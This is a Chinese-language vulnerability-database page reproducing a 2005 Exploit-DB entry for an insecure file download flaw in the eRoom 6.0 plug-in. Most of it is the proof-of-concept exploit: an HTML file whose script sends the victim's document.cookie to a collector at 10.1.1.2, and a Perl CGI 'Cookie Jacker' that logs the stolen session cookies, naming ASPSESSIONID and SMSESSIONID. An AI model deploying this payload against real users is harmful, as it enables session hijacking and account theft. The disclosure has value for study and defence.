eRoom 6.0 PlugIn – Insecure File Download Handling-安全小百科

eRoom 6.0 PlugIn – Insecure File Download Handling

漏洞ID	1055224	漏洞类型
发布时间	2005-07-06	更新时间	2005-07-06
CVE编号	N/A	CNNVD-ID	N/A
漏洞平台	CGI	CVSS评分	N/A

|漏洞来源

https://www.exploit-db.com/exploits/25950

|漏洞详情

漏洞细节尚未披露

|漏洞EXP

source: http://www.securityfocus.com/bid/14176/info

The eRoom plug-in is prone to an insecure file download handling vulnerability.

The issue is due to a design fault, where files that are shared by users are apparently passed to default file handlers when downloaded. This can occur without user knowledge, and can be a security risk for certain file types on certain platforms. 

 /* cookie.html */
  <html>
  <head>
    <title>Raiding the cookie jar</title>
  </head>
  <body>

  <br>
    <script>document.location='https://10.1.1.2/cgi-bin/cookie.cgi?' +document.cookie</script>
  <br>

  </body>
  </html>


  /* cookie.cgi */
  #!/usr/bin/perl
  use CGI qw(:standard);
  use CGI::Carp qw(warningsToBrowser fatalsToBrowser);
  use strict;

  my $break = "<br>";
  my $browser = $ENV{'HTTP_USER_AGENT'};
  my $cookie = $ENV{'QUERY_STRING'};
  my $remote = $ENV{'REMOTE_ADDR'};
  my $referer = $ENV{'HTTP_REFERER'};
  my $reqmeth = $ENV{'REQUEST_METHOD'};

  print header;

  print "<html>",
        "<head><title>Cookie Jacker</title></head>",
        "<center><h1>Yummy!</h1>",
        "ASPSESSIONID & SMSESSIONID could be useful for something? ;)",
        "$break$break$break$break",
        "<img src="/cookiemonster.jpg">",
        "</center>",
        "$break$break$break$breakn";

  $cookie =~ s/;%20/$break/g;

  if($browser =~ /MSIE/) {
                print "Come on, is this the 90s or smtng!$break";
        } else {
                print "j00 are l33t$break";
  }

  print "Client connection came from $remote$break",
        "Refered by $referer$break",
        "Using $reqmeth$break$break",
        "$cookien";

  print end_html;

相关推荐: Sendmail Headers Prescan Denial Of Service Vulnerability

Sendmail Headers Prescan Denial Of Service Vulnerability 漏洞ID 1104868 漏洞类型 Failure to Handle Exceptional Conditions 发布时间 1998-12-1…

文章版权归作者所有，未经允许请勿转载。

THE END